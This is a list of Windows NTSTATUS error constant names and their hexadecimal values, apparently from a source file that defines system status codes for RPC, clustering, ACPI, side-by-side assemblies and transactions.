STATUS_NOT_SUPPORTED_ON_SBS = 0xC0000300
STATUS_WMI_GUID_DISCONNECTED = 0xC0000301
STATUS_WMI_ALREADY_DISABLED = 0xC0000302
STATUS_WMI_ALREADY_ENABLED = 0xC0000303
STATUS_MFT_TOO_FRAGMENTED = 0xC0000304
STATUS_COPY_PROTECTION_FAILURE = 0xC0000305
STATUS_CSS_AUTHENTICATION_FAILURE = 0xC0000306
STATUS_CSS_KEY_NOT_PRESENT = 0xC0000307
STATUS_CSS_KEY_NOT_ESTABLISHED = 0xC0000308
STATUS_CSS_SCRAMBLED_SECTOR = 0xC0000309
STATUS_CSS_REGION_MISMATCH = 0xC000030A
STATUS_CSS_RESETS_EXHAUSTED = 0xC000030B
STATUS_PKINIT_FAILURE = 0xC0000320
STATUS_SMARTCARD_SUBSYSTEM_FAILURE = 0xC0000321
STATUS_NO_KERB_KEY = 0xC0000322
STATUS_HOST_DOWN = 0xC0000350
STATUS_UNSUPPORTED_PREAUTH = 0xC0000351
STATUS_EFS_ALG_BLOB_TOO_BIG = 0xC0000352
STATUS_PORT_NOT_SET = 0xC0000353
STATUS_DEBUGGER_INACTIVE = 0xC0000354
STATUS_DS_VERSION_CHECK_FAILURE = 0xC0000355
STATUS_AUDITING_DISABLED = 0xC0000356
STATUS_PRENT4_MACHINE_ACCOUNT = 0xC0000357
STATUS_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER = 0xC0000358
STATUS_INVALID_IMAGE_WIN_32 = 0xC0000359
STATUS_INVALID_IMAGE_WIN_64 = 0xC000035A
STATUS_BAD_BINDINGS = 0xC000035B
STATUS_NETWORK_SESSION_EXPIRED = 0xC000035C
STATUS_APPHELP_BLOCK = 0xC000035D
STATUS_ALL_SIDS_FILTERED = 0xC000035E
STATUS_NOT_SAFE_MODE_DRIVER = 0xC000035F
STATUS_ACCESS_DISABLED_BY_POLICY_DEFAULT = 0xC0000361
STATUS_ACCESS_DISABLED_BY_POLICY_PATH = 0xC0000362
STATUS_ACCESS_DISABLED_BY_POLICY_PUBLISHER = 0xC0000363
STATUS_ACCESS_DISABLED_BY_POLICY_OTHER = 0xC0000364
STATUS_FAILED_DRIVER_ENTRY = 0xC0000365
STATUS_DEVICE_ENUMERATION_ERROR = 0xC0000366
STATUS_MOUNT_POINT_NOT_RESOLVED = 0xC0000368
STATUS_INVALID_DEVICE_OBJECT_PARAMETER = 0xC0000369
STATUS_MCA_OCCURED = 0xC000036A
STATUS_DRIVER_BLOCKED_CRITICAL = 0xC000036B
STATUS_DRIVER_BLOCKED = 0xC000036C
STATUS_DRIVER_DATABASE_ERROR = 0xC000036D
STATUS_SYSTEM_HIVE_TOO_LARGE = 0xC000036E
STATUS_INVALID_IMPORT_OF_NON_DLL = 0xC000036F
STATUS_NO_SECRETS = 0xC0000371
STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY = 0xC0000372
STATUS_FAILED_STACK_SWITCH = 0xC0000373
STATUS_HEAP_CORRUPTION = 0xC0000374
STATUS_SMARTCARD_WRONG_PIN = 0xC0000380
STATUS_SMARTCARD_CARD_BLOCKED = 0xC0000381
STATUS_SMARTCARD_CARD_NOT_AUTHENTICATED = 0xC0000382
STATUS_SMARTCARD_NO_CARD = 0xC0000383
STATUS_SMARTCARD_NO_KEY_CONTAINER = 0xC0000384
STATUS_SMARTCARD_NO_CERTIFICATE = 0xC0000385
STATUS_SMARTCARD_NO_KEYSET = 0xC0000386
STATUS_SMARTCARD_IO_ERROR = 0xC0000387
STATUS_DOWNGRADE_DETECTED = 0xC0000388
STATUS_SMARTCARD_CERT_REVOKED = 0xC0000389
STATUS_ISSUING_CA_UNTRUSTED = 0xC000038A
STATUS_REVOCATION_OFFLINE_C = 0xC000038B
STATUS_PKINIT_CLIENT_FAILURE = 0xC000038C
STATUS_SMARTCARD_CERT_EXPIRED = 0xC000038D
STATUS_DRIVER_FAILED_PRIOR_UNLOAD = 0xC000038E
STATUS_SMARTCARD_SILENT_CONTEXT = 0xC000038F
STATUS_PER_USER_TRUST_QUOTA_EXCEEDED = 0xC0000401
STATUS_ALL_USER_TRUST_QUOTA_EXCEEDED = 0xC0000402
STATUS_USER_DELETE_TRUST_QUOTA_EXCEEDED = 0xC0000403
STATUS_DS_NAME_NOT_UNIQUE = 0xC0000404
STATUS_DS_DUPLICATE_ID_FOUND = 0xC0000405
STATUS_DS_GROUP_CONVERSION_ERROR = 0xC0000406
STATUS_VOLSNAP_PREPARE_HIBERNATE = 0xC0000407
STATUS_USER2USER_REQUIRED = 0xC0000408
STATUS_STACK_BUFFER_OVERRUN = 0xC0000409
STATUS_NO_S4U_PROT_SUPPORT = 0xC000040A
STATUS_CROSSREALM_DELEGATION_FAILURE = 0xC000040B
STATUS_REVOCATION_OFFLINE_KDC = 0xC000040C
STATUS_ISSUING_CA_UNTRUSTED_KDC = 0xC000040D
STATUS_KDC_CERT_EXPIRED = 0xC000040E
STATUS_KDC_CERT_REVOKED = 0xC000040F
STATUS_PARAMETER_QUOTA_EXCEEDED = 0xC0000410
STATUS_HIBERNATION_FAILURE = 0xC0000411
STATUS_DELAY_LOAD_FAILED = 0xC0000412
STATUS_AUTHENTICATION_FIREWALL_FAILED = 0xC0000413
STATUS_VDM_DISALLOWED = 0xC0000414
STATUS_HUNG_DISPLAY_DRIVER_THREAD = 0xC0000415
STATUS_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE = 0xC0000416
STATUS_INVALID_CRUNTIME_PARAMETER = 0xC0000417
STATUS_NTLM_BLOCKED = 0xC0000418
STATUS_DS_SRC_SID_EXISTS_IN_FOREST = 0xC0000419
STATUS_DS_DOMAIN_NAME_EXISTS_IN_FOREST = 0xC000041A
STATUS_DS_FLAT_NAME_EXISTS_IN_FOREST = 0xC000041B
STATUS_INVALID_USER_PRINCIPAL_NAME = 0xC000041C
STATUS_ASSERTION_FAILURE = 0xC0000420
STATUS_VERIFIER_STOP = 0xC0000421
STATUS_CALLBACK_POP_STACK = 0xC0000423
STATUS_INCOMPATIBLE_DRIVER_BLOCKED = 0xC0000424
STATUS_HIVE_UNLOADED = 0xC0000425
STATUS_COMPRESSION_DISABLED = 0xC0000426
STATUS_FILE_SYSTEM_LIMITATION = 0xC0000427
STATUS_INVALID_IMAGE_HASH = 0xC0000428
STATUS_NOT_CAPABLE = 0xC0000429
STATUS_REQUEST_OUT_OF_SEQUENCE = 0xC000042A
STATUS_IMPLEMENTATION_LIMIT = 0xC000042B
STATUS_ELEVATION_REQUIRED = 0xC000042C
STATUS_NO_SECURITY_CONTEXT = 0xC000042D
STATUS_PKU2U_CERT_FAILURE = 0xC000042E
STATUS_BEYOND_VDL = 0xC0000432
STATUS_ENCOUNTERED_WRITE_IN_PROGRESS = 0xC0000433
STATUS_PTE_CHANGED = 0xC0000434
STATUS_PURGE_FAILED = 0xC0000435
STATUS_CRED_REQUIRES_CONFIRMATION = 0xC0000440
STATUS_CS_ENCRYPTION_INVALID_SERVER_RESPONSE = 0xC0000441
STATUS_CS_ENCRYPTION_UNSUPPORTED_SERVER = 0xC0000442
STATUS_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE = 0xC0000443
STATUS_CS_ENCRYPTION_NEW_ENCRYPTED_FILE = 0xC0000444
STATUS_CS_ENCRYPTION_FILE_NOT_CSE = 0xC0000445
STATUS_INVALID_LABEL = 0xC0000446
STATUS_DRIVER_PROCESS_TERMINATED = 0xC0000450
STATUS_AMBIGUOUS_SYSTEM_DEVICE = 0xC0000451
STATUS_SYSTEM_DEVICE_NOT_FOUND = 0xC0000452
STATUS_RESTART_BOOT_APPLICATION = 0xC0000453
STATUS_INSUFFICIENT_NVRAM_RESOURCES = 0xC0000454
STATUS_INVALID_TASK_NAME = 0xC0000500
STATUS_INVALID_TASK_INDEX = 0xC0000501
STATUS_THREAD_ALREADY_IN_TASK = 0xC0000502
STATUS_CALLBACK_BYPASS = 0xC0000503
STATUS_FAIL_FAST_EXCEPTION = 0xC0000602
STATUS_IMAGE_CERT_REVOKED = 0xC0000603
STATUS_PORT_CLOSED = 0xC0000700
STATUS_MESSAGE_LOST = 0xC0000701
STATUS_INVALID_MESSAGE = 0xC0000702
STATUS_REQUEST_CANCELED = 0xC0000703
STATUS_RECURSIVE_DISPATCH = 0xC0000704
STATUS_LPC_RECEIVE_BUFFER_EXPECTED = 0xC0000705
STATUS_LPC_INVALID_CONNECTION_USAGE = 0xC0000706
STATUS_LPC_REQUESTS_NOT_ALLOWED = 0xC0000707
STATUS_RESOURCE_IN_USE = 0xC0000708
STATUS_HARDWARE_MEMORY_ERROR = 0xC0000709
STATUS_THREADPOOL_HANDLE_EXCEPTION = 0xC000070A
STATUS_THREADPOOL_SET_EVENT_ON_COMPLETION_FAILED = 0xC000070B
STATUS_THREADPOOL_RELEASE_SEMAPHORE_ON_COMPLETION_FAILED = 0xC000070C
STATUS_THREADPOOL_RELEASE_MUTEX_ON_COMPLETION_FAILED = 0xC000070D
STATUS_THREADPOOL_FREE_LIBRARY_ON_COMPLETION_FAILED = 0xC000070E
STATUS_THREADPOOL_RELEASED_DURING_OPERATION = 0xC000070F
STATUS_CALLBACK_RETURNED_WHILE_IMPERSONATING = 0xC0000710
STATUS_APC_RETURNED_WHILE_IMPERSONATING = 0xC0000711
STATUS_PROCESS_IS_PROTECTED = 0xC0000712
STATUS_MCA_EXCEPTION = 0xC0000713
STATUS_CERTIFICATE_MAPPING_NOT_UNIQUE = 0xC0000714
STATUS_SYMLINK_CLASS_DISABLED = 0xC0000715
STATUS_INVALID_IDN_NORMALIZATION = 0xC0000716
STATUS_NO_UNICODE_TRANSLATION = 0xC0000717
STATUS_ALREADY_REGISTERED = 0xC0000718
STATUS_CONTEXT_MISMATCH = 0xC0000719
STATUS_PORT_ALREADY_HAS_COMPLETION_LIST = 0xC000071A
STATUS_CALLBACK_RETURNED_THREAD_PRIORITY = 0xC000071B
STATUS_INVALID_THREAD = 0xC000071C
STATUS_CALLBACK_RETURNED_TRANSACTION = 0xC000071D
STATUS_CALLBACK_RETURNED_LDR_LOCK = 0xC000071E
STATUS_CALLBACK_RETURNED_LANG = 0xC000071F
STATUS_CALLBACK_RETURNED_PRI_BACK = 0xC0000720
STATUS_DISK_REPAIR_DISABLED = 0xC0000800
STATUS_DS_DOMAIN_RENAME_IN_PROGRESS = 0xC0000801
STATUS_DISK_QUOTA_EXCEEDED = 0xC0000802
STATUS_CONTENT_BLOCKED = 0xC0000804
STATUS_BAD_CLUSTERS = 0xC0000805
STATUS_VOLUME_DIRTY = 0xC0000806
STATUS_FILE_CHECKED_OUT = 0xC0000901
STATUS_CHECKOUT_REQUIRED = 0xC0000902
STATUS_BAD_FILE_TYPE = 0xC0000903
STATUS_FILE_TOO_LARGE = 0xC0000904
STATUS_FORMS_AUTH_REQUIRED = 0xC0000905
STATUS_VIRUS_INFECTED = 0xC0000906
STATUS_VIRUS_DELETED = 0xC0000907
STATUS_BAD_MCFG_TABLE = 0xC0000908
STATUS_CANNOT_BREAK_OPLOCK = 0xC0000909
STATUS_WOW_ASSERTION = 0xC0009898
STATUS_INVALID_SIGNATURE = 0xC000A000
STATUS_HMAC_NOT_SUPPORTED = 0xC000A001
STATUS_IPSEC_QUEUE_OVERFLOW = 0xC000A010
STATUS_ND_QUEUE_OVERFLOW = 0xC000A011
STATUS_HOPLIMIT_EXCEEDED = 0xC000A012
STATUS_PROTOCOL_NOT_SUPPORTED = 0xC000A013
STATUS_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED = 0xC000A080
STATUS_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR = 0xC000A081
STATUS_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR = 0xC000A082
STATUS_XML_PARSE_ERROR = 0xC000A083
STATUS_XMLDSIG_ERROR = 0xC000A084
STATUS_WRONG_COMPARTMENT = 0xC000A085
STATUS_AUTHIP_FAILURE = 0xC000A086
STATUS_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS = 0xC000A087
STATUS_DS_OID_NOT_FOUND = 0xC000A088
STATUS_HASH_NOT_SUPPORTED = 0xC000A100
STATUS_HASH_NOT_PRESENT = 0xC000A101
DBG_NO_STATE_CHANGE = 0xC0010001
DBG_APP_NOT_IDLE = 0xC0010002
RPC_NT_INVALID_STRING_BINDING = 0xC0020001
RPC_NT_WRONG_KIND_OF_BINDING = 0xC0020002
RPC_NT_INVALID_BINDING = 0xC0020003
RPC_NT_PROTSEQ_NOT_SUPPORTED = 0xC0020004
RPC_NT_INVALID_RPC_PROTSEQ = 0xC0020005
RPC_NT_INVALID_STRING_UUID = 0xC0020006
RPC_NT_INVALID_ENDPOINT_FORMAT = 0xC0020007
RPC_NT_INVALID_NET_ADDR = 0xC0020008
RPC_NT_NO_ENDPOINT_FOUND = 0xC0020009
RPC_NT_INVALID_TIMEOUT = 0xC002000A
RPC_NT_OBJECT_NOT_FOUND = 0xC002000B
RPC_NT_ALREADY_REGISTERED = 0xC002000C
RPC_NT_TYPE_ALREADY_REGISTERED = 0xC002000D
RPC_NT_ALREADY_LISTENING = 0xC002000E
RPC_NT_NO_PROTSEQS_REGISTERED = 0xC002000F
RPC_NT_NOT_LISTENING = 0xC0020010
RPC_NT_UNKNOWN_MGR_TYPE = 0xC0020011
RPC_NT_UNKNOWN_IF = 0xC0020012
RPC_NT_NO_BINDINGS = 0xC0020013
RPC_NT_NO_PROTSEQS = 0xC0020014
RPC_NT_CANT_CREATE_ENDPOINT = 0xC0020015
RPC_NT_OUT_OF_RESOURCES = 0xC0020016
RPC_NT_SERVER_UNAVAILABLE = 0xC0020017
RPC_NT_SERVER_TOO_BUSY = 0xC0020018
RPC_NT_INVALID_NETWORK_OPTIONS = 0xC0020019
RPC_NT_NO_CALL_ACTIVE = 0xC002001A
RPC_NT_CALL_FAILED = 0xC002001B
RPC_NT_CALL_FAILED_DNE = 0xC002001C
RPC_NT_PROTOCOL_ERROR = 0xC002001D
RPC_NT_UNSUPPORTED_TRANS_SYN = 0xC002001F
RPC_NT_UNSUPPORTED_TYPE = 0xC0020021
RPC_NT_INVALID_TAG = 0xC0020022
RPC_NT_INVALID_BOUND = 0xC0020023
RPC_NT_NO_ENTRY_NAME = 0xC0020024
RPC_NT_INVALID_NAME_SYNTAX = 0xC0020025
RPC_NT_UNSUPPORTED_NAME_SYNTAX = 0xC0020026
RPC_NT_UUID_NO_ADDRESS = 0xC0020028
RPC_NT_DUPLICATE_ENDPOINT = 0xC0020029
RPC_NT_UNKNOWN_AUTHN_TYPE = 0xC002002A
RPC_NT_MAX_CALLS_TOO_SMALL = 0xC002002B
RPC_NT_STRING_TOO_LONG = 0xC002002C
RPC_NT_PROTSEQ_NOT_FOUND = 0xC002002D
RPC_NT_PROCNUM_OUT_OF_RANGE = 0xC002002E
RPC_NT_BINDING_HAS_NO_AUTH = 0xC002002F
RPC_NT_UNKNOWN_AUTHN_SERVICE = 0xC0020030
RPC_NT_UNKNOWN_AUTHN_LEVEL = 0xC0020031
RPC_NT_INVALID_AUTH_IDENTITY = 0xC0020032
RPC_NT_UNKNOWN_AUTHZ_SERVICE = 0xC0020033
EPT_NT_INVALID_ENTRY = 0xC0020034
EPT_NT_CANT_PERFORM_OP = 0xC0020035
EPT_NT_NOT_REGISTERED = 0xC0020036
RPC_NT_NOTHING_TO_EXPORT = 0xC0020037
RPC_NT_INCOMPLETE_NAME = 0xC0020038
RPC_NT_INVALID_VERS_OPTION = 0xC0020039
RPC_NT_NO_MORE_MEMBERS = 0xC002003A
RPC_NT_NOT_ALL_OBJS_UNEXPORTED = 0xC002003B
RPC_NT_INTERFACE_NOT_FOUND = 0xC002003C
RPC_NT_ENTRY_ALREADY_EXISTS = 0xC002003D
RPC_NT_ENTRY_NOT_FOUND = 0xC002003E
RPC_NT_NAME_SERVICE_UNAVAILABLE = 0xC002003F
RPC_NT_INVALID_NAF_ID = 0xC0020040
RPC_NT_CANNOT_SUPPORT = 0xC0020041
RPC_NT_NO_CONTEXT_AVAILABLE = 0xC0020042
RPC_NT_INTERNAL_ERROR = 0xC0020043
RPC_NT_ZERO_DIVIDE = 0xC0020044
RPC_NT_ADDRESS_ERROR = 0xC0020045
RPC_NT_FP_DIV_ZERO = 0xC0020046
RPC_NT_FP_UNDERFLOW = 0xC0020047
RPC_NT_FP_OVERFLOW = 0xC0020048
RPC_NT_CALL_IN_PROGRESS = 0xC0020049
RPC_NT_NO_MORE_BINDINGS = 0xC002004A
RPC_NT_GROUP_MEMBER_NOT_FOUND = 0xC002004B
EPT_NT_CANT_CREATE = 0xC002004C
RPC_NT_INVALID_OBJECT = 0xC002004D
RPC_NT_NO_INTERFACES = 0xC002004F
RPC_NT_CALL_CANCELLED = 0xC0020050
RPC_NT_BINDING_INCOMPLETE = 0xC0020051
RPC_NT_COMM_FAILURE = 0xC0020052
RPC_NT_UNSUPPORTED_AUTHN_LEVEL = 0xC0020053
RPC_NT_NO_PRINC_NAME = 0xC0020054
RPC_NT_NOT_RPC_ERROR = 0xC0020055
RPC_NT_SEC_PKG_ERROR = 0xC0020057
RPC_NT_NOT_CANCELLED = 0xC0020058
RPC_NT_INVALID_ASYNC_HANDLE = 0xC0020062
RPC_NT_INVALID_ASYNC_CALL = 0xC0020063
RPC_NT_PROXY_ACCESS_DENIED = 0xC0020064
RPC_NT_NO_MORE_ENTRIES = 0xC0030001
RPC_NT_SS_CHAR_TRANS_OPEN_FAIL = 0xC0030002
RPC_NT_SS_CHAR_TRANS_SHORT_FILE = 0xC0030003
RPC_NT_SS_IN_NULL_CONTEXT = 0xC0030004
RPC_NT_SS_CONTEXT_MISMATCH = 0xC0030005
RPC_NT_SS_CONTEXT_DAMAGED = 0xC0030006
RPC_NT_SS_HANDLES_MISMATCH = 0xC0030007
RPC_NT_SS_CANNOT_GET_CALL_HANDLE = 0xC0030008
RPC_NT_NULL_REF_POINTER = 0xC0030009
RPC_NT_ENUM_VALUE_OUT_OF_RANGE = 0xC003000A
RPC_NT_BYTE_COUNT_TOO_SMALL = 0xC003000B
RPC_NT_BAD_STUB_DATA = 0xC003000C
RPC_NT_INVALID_ES_ACTION = 0xC0030059
RPC_NT_WRONG_ES_VERSION = 0xC003005A
RPC_NT_WRONG_STUB_VERSION = 0xC003005B
RPC_NT_INVALID_PIPE_OBJECT = 0xC003005C
RPC_NT_INVALID_PIPE_OPERATION = 0xC003005D
RPC_NT_WRONG_PIPE_VERSION = 0xC003005E
RPC_NT_PIPE_CLOSED = 0xC003005F
RPC_NT_PIPE_DISCIPLINE_ERROR = 0xC0030060
RPC_NT_PIPE_EMPTY = 0xC0030061
STATUS_PNP_BAD_MPS_TABLE = 0xC0040035
STATUS_PNP_TRANSLATION_FAILED = 0xC0040036
STATUS_PNP_IRQ_TRANSLATION_FAILED = 0xC0040037
STATUS_PNP_INVALID_ID = 0xC0040038
STATUS_IO_REISSUE_AS_CACHED = 0xC0040039
STATUS_CTX_WINSTATION_NAME_INVALID = 0xC00A0001
STATUS_CTX_INVALID_PD = 0xC00A0002
STATUS_CTX_PD_NOT_FOUND = 0xC00A0003
STATUS_CTX_CLOSE_PENDING = 0xC00A0006
STATUS_CTX_NO_OUTBUF = 0xC00A0007
STATUS_CTX_MODEM_INF_NOT_FOUND = 0xC00A0008
STATUS_CTX_INVALID_MODEMNAME = 0xC00A0009
STATUS_CTX_RESPONSE_ERROR = 0xC00A000A
STATUS_CTX_MODEM_RESPONSE_TIMEOUT = 0xC00A000B
STATUS_CTX_MODEM_RESPONSE_NO_CARRIER = 0xC00A000C
STATUS_CTX_MODEM_RESPONSE_NO_DIALTONE = 0xC00A000D
STATUS_CTX_MODEM_RESPONSE_BUSY = 0xC00A000E
STATUS_CTX_MODEM_RESPONSE_VOICE = 0xC00A000F
STATUS_CTX_TD_ERROR = 0xC00A0010
STATUS_CTX_LICENSE_CLIENT_INVALID = 0xC00A0012
STATUS_CTX_LICENSE_NOT_AVAILABLE = 0xC00A0013
STATUS_CTX_LICENSE_EXPIRED = 0xC00A0014
STATUS_CTX_WINSTATION_NOT_FOUND = 0xC00A0015
STATUS_CTX_WINSTATION_NAME_COLLISION = 0xC00A0016
STATUS_CTX_WINSTATION_BUSY = 0xC00A0017
STATUS_CTX_BAD_VIDEO_MODE = 0xC00A0018
STATUS_CTX_GRAPHICS_INVALID = 0xC00A0022
STATUS_CTX_NOT_CONSOLE = 0xC00A0024
STATUS_CTX_CLIENT_QUERY_TIMEOUT = 0xC00A0026
STATUS_CTX_CONSOLE_DISCONNECT = 0xC00A0027
STATUS_CTX_CONSOLE_CONNECT = 0xC00A0028
STATUS_CTX_SHADOW_DENIED = 0xC00A002A
STATUS_CTX_WINSTATION_ACCESS_DENIED = 0xC00A002B
STATUS_CTX_INVALID_WD = 0xC00A002E
STATUS_CTX_WD_NOT_FOUND = 0xC00A002F
STATUS_CTX_SHADOW_INVALID = 0xC00A0030
STATUS_CTX_SHADOW_DISABLED = 0xC00A0031
STATUS_RDP_PROTOCOL_ERROR = 0xC00A0032
STATUS_CTX_CLIENT_LICENSE_NOT_SET = 0xC00A0033
STATUS_CTX_CLIENT_LICENSE_IN_USE = 0xC00A0034
STATUS_CTX_SHADOW_ENDED_BY_MODE_CHANGE = 0xC00A0035
STATUS_CTX_SHADOW_NOT_RUNNING = 0xC00A0036
STATUS_CTX_LOGON_DISABLED = 0xC00A0037
STATUS_CTX_SECURITY_LAYER_ERROR = 0xC00A0038
STATUS_TS_INCOMPATIBLE_SESSIONS = 0xC00A0039
STATUS_MUI_FILE_NOT_FOUND = 0xC00B0001
STATUS_MUI_INVALID_FILE = 0xC00B0002
STATUS_MUI_INVALID_RC_CONFIG = 0xC00B0003
STATUS_MUI_INVALID_LOCALE_NAME = 0xC00B0004
STATUS_MUI_INVALID_ULTIMATEFALLBACK_NAME = 0xC00B0005
STATUS_MUI_FILE_NOT_LOADED = 0xC00B0006
STATUS_RESOURCE_ENUM_USER_STOP = 0xC00B0007
STATUS_CLUSTER_INVALID_NODE = 0xC0130001
STATUS_CLUSTER_NODE_EXISTS = 0xC0130002
STATUS_CLUSTER_JOIN_IN_PROGRESS = 0xC0130003
STATUS_CLUSTER_NODE_NOT_FOUND = 0xC0130004
STATUS_CLUSTER_LOCAL_NODE_NOT_FOUND = 0xC0130005
STATUS_CLUSTER_NETWORK_EXISTS = 0xC0130006
STATUS_CLUSTER_NETWORK_NOT_FOUND = 0xC0130007
STATUS_CLUSTER_NETINTERFACE_EXISTS = 0xC0130008
STATUS_CLUSTER_NETINTERFACE_NOT_FOUND = 0xC0130009
STATUS_CLUSTER_INVALID_REQUEST = 0xC013000A
STATUS_CLUSTER_INVALID_NETWORK_PROVIDER = 0xC013000B
STATUS_CLUSTER_NODE_DOWN = 0xC013000C
STATUS_CLUSTER_NODE_UNREACHABLE = 0xC013000D
STATUS_CLUSTER_NODE_NOT_MEMBER = 0xC013000E
STATUS_CLUSTER_JOIN_NOT_IN_PROGRESS = 0xC013000F
STATUS_CLUSTER_INVALID_NETWORK = 0xC0130010
STATUS_CLUSTER_NO_NET_ADAPTERS = 0xC0130011
STATUS_CLUSTER_NODE_UP = 0xC0130012
STATUS_CLUSTER_NODE_PAUSED = 0xC0130013
STATUS_CLUSTER_NODE_NOT_PAUSED = 0xC0130014
STATUS_CLUSTER_NO_SECURITY_CONTEXT = 0xC0130015
STATUS_CLUSTER_NETWORK_NOT_INTERNAL = 0xC0130016
STATUS_CLUSTER_POISONED = 0xC0130017
STATUS_ACPI_INVALID_OPCODE = 0xC0140001
STATUS_ACPI_STACK_OVERFLOW = 0xC0140002
STATUS_ACPI_ASSERT_FAILED = 0xC0140003
STATUS_ACPI_INVALID_INDEX = 0xC0140004
STATUS_ACPI_INVALID_ARGUMENT = 0xC0140005
STATUS_ACPI_FATAL = 0xC0140006
STATUS_ACPI_INVALID_SUPERNAME = 0xC0140007
STATUS_ACPI_INVALID_ARGTYPE = 0xC0140008
STATUS_ACPI_INVALID_OBJTYPE = 0xC0140009
STATUS_ACPI_INVALID_TARGETTYPE = 0xC014000A
STATUS_ACPI_INCORRECT_ARGUMENT_COUNT = 0xC014000B
STATUS_ACPI_ADDRESS_NOT_MAPPED = 0xC014000C
STATUS_ACPI_INVALID_EVENTTYPE = 0xC014000D
STATUS_ACPI_HANDLER_COLLISION = 0xC014000E
STATUS_ACPI_INVALID_DATA = 0xC014000F
STATUS_ACPI_INVALID_REGION = 0xC0140010
STATUS_ACPI_INVALID_ACCESS_SIZE = 0xC0140011
STATUS_ACPI_ACQUIRE_GLOBAL_LOCK = 0xC0140012
STATUS_ACPI_ALREADY_INITIALIZED = 0xC0140013
STATUS_ACPI_NOT_INITIALIZED = 0xC0140014
STATUS_ACPI_INVALID_MUTEX_LEVEL = 0xC0140015
STATUS_ACPI_MUTEX_NOT_OWNED = 0xC0140016
STATUS_ACPI_MUTEX_NOT_OWNER = 0xC0140017
STATUS_ACPI_RS_ACCESS = 0xC0140018
STATUS_ACPI_INVALID_TABLE = 0xC0140019
STATUS_ACPI_REG_HANDLER_FAILED = 0xC0140020
STATUS_ACPI_POWER_REQUEST_FAILED = 0xC0140021
STATUS_SXS_SECTION_NOT_FOUND = 0xC0150001
STATUS_SXS_CANT_GEN_ACTCTX = 0xC0150002
STATUS_SXS_INVALID_ACTCTXDATA_FORMAT = 0xC0150003
STATUS_SXS_ASSEMBLY_NOT_FOUND = 0xC0150004
STATUS_SXS_MANIFEST_FORMAT_ERROR = 0xC0150005
STATUS_SXS_MANIFEST_PARSE_ERROR = 0xC0150006
STATUS_SXS_ACTIVATION_CONTEXT_DISABLED = 0xC0150007
STATUS_SXS_KEY_NOT_FOUND = 0xC0150008
STATUS_SXS_VERSION_CONFLICT = 0xC0150009
STATUS_SXS_WRONG_SECTION_TYPE = 0xC015000A
STATUS_SXS_THREAD_QUERIES_DISABLED = 0xC015000B
STATUS_SXS_ASSEMBLY_MISSING = 0xC015000C
STATUS_SXS_PROCESS_DEFAULT_ALREADY_SET = 0xC015000E
STATUS_SXS_EARLY_DEACTIVATION = 0xC015000F
STATUS_SXS_INVALID_DEACTIVATION = 0xC0150010
STATUS_SXS_MULTIPLE_DEACTIVATION = 0xC0150011
STATUS_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY = 0xC0150012
STATUS_SXS_PROCESS_TERMINATION_REQUESTED = 0xC0150013
STATUS_SXS_CORRUPT_ACTIVATION_STACK = 0xC0150014
STATUS_SXS_CORRUPTION = 0xC0150015
STATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE = 0xC0150016
STATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME = 0xC0150017
STATUS_SXS_IDENTITY_DUPLICATE_ATTRIBUTE = 0xC0150018
STATUS_SXS_IDENTITY_PARSE_ERROR = 0xC0150019
STATUS_SXS_COMPONENT_STORE_CORRUPT = 0xC015001A
STATUS_SXS_FILE_HASH_MISMATCH = 0xC015001B
STATUS_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT = 0xC015001C
STATUS_SXS_IDENTITIES_DIFFERENT = 0xC015001D
STATUS_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT = 0xC015001E
STATUS_SXS_FILE_NOT_PART_OF_ASSEMBLY = 0xC015001F
STATUS_ADVANCED_INSTALLER_FAILED = 0xC0150020
STATUS_XML_ENCODING_MISMATCH = 0xC0150021
STATUS_SXS_MANIFEST_TOO_BIG = 0xC0150022
STATUS_SXS_SETTING_NOT_REGISTERED = 0xC0150023
STATUS_SXS_TRANSACTION_CLOSURE_INCOMPLETE = 0xC0150024
STATUS_SMI_PRIMITIVE_INSTALLER_FAILED = 0xC0150025
STATUS_GENERIC_COMMAND_FAILED = 0xC0150026
STATUS_SXS_FILE_HASH_MISSING = 0xC0150027
STATUS_TRANSACTIONAL_CONFLICT = 0xC0190001
STATUS_INVALID_TRANSACTION = 0xC0190002
STATUS_TRANSACTION_NOT_ACTIVE = 0xC0190003
STATUS_TM_INITIALIZATION_FAILED = 0xC0190004
STATUS_RM_NOT_ACTIVE = 0xC0190005
STATUS_RM_METADATA_CORRUPT = 0xC0190006
STATUS_TRANSACTION_NOT_JOINED = 0xC0190007
STATUS_DIRECTORY_NOT_RM = 0xC0190008
STATUS_TRANSACTIONS_UNSUPPORTED_REMOTE = 0xC019000A
STATUS_LOG_RESIZE_INVALID_SIZE = 0xC019000B
STATUS_REMOTE_FILE_VERSION_MISMATCH = 0xC019000C
STATUS_CRM_PROTOCOL_ALREADY_EXISTS = 0xC019000F
STATUS_TRANSACTION_PROPAGATION_FAILED = 0xC0190010
STATUS_CRM_PROTOCOL_NOT_FOUND = 0xC0190011
STATUS_TRANSACTION_SUPERIOR_EXISTS = 0xC0190012
STATUS_TRANSACTION_REQUEST_NOT_VALID = 0xC0190013
STATUS_TRANSACTION_NOT_REQUESTED = 0xC0190014
STATUS_TRANSACTION_ALREADY_ABORTED = 0xC0190015
STATUS_TRANSACTION_ALREADY_COMMITTED = 0xC0190016
STATUS_TRANSACTION_INVALID_MARSHALL_BUFFER = 0xC0190017
STATUS_CURRENT_TRANSACTION_NOT_VALID = 0xC0190018
STATUS_LOG_GROWTH_FAILED = 0xC0190019
STATUS_OBJECT_NO_LONGER_EXISTS = 0xC0190021
STATUS_STREAM_MINIVERSION_NOT_FOUND = 0xC0190022
STATUS_STREAM_MINIVERSION_NOT_VALID = 0xC0190023
STATUS_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION = 0xC0190024
STATUS_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT = 0xC0190025
